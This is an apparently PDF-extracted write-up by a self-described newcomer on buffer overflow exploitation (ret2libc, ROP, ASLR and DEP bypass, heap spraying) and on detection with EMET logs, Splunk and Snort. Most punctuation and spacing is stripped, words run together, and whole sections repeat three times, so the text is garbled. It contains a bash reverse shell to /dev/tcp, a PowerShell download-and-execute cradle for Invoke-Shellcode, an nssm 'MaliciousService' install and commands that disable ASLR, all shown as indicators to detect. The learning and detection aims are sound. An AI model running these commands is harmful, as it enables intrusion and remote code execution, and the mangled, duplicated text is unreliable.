start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
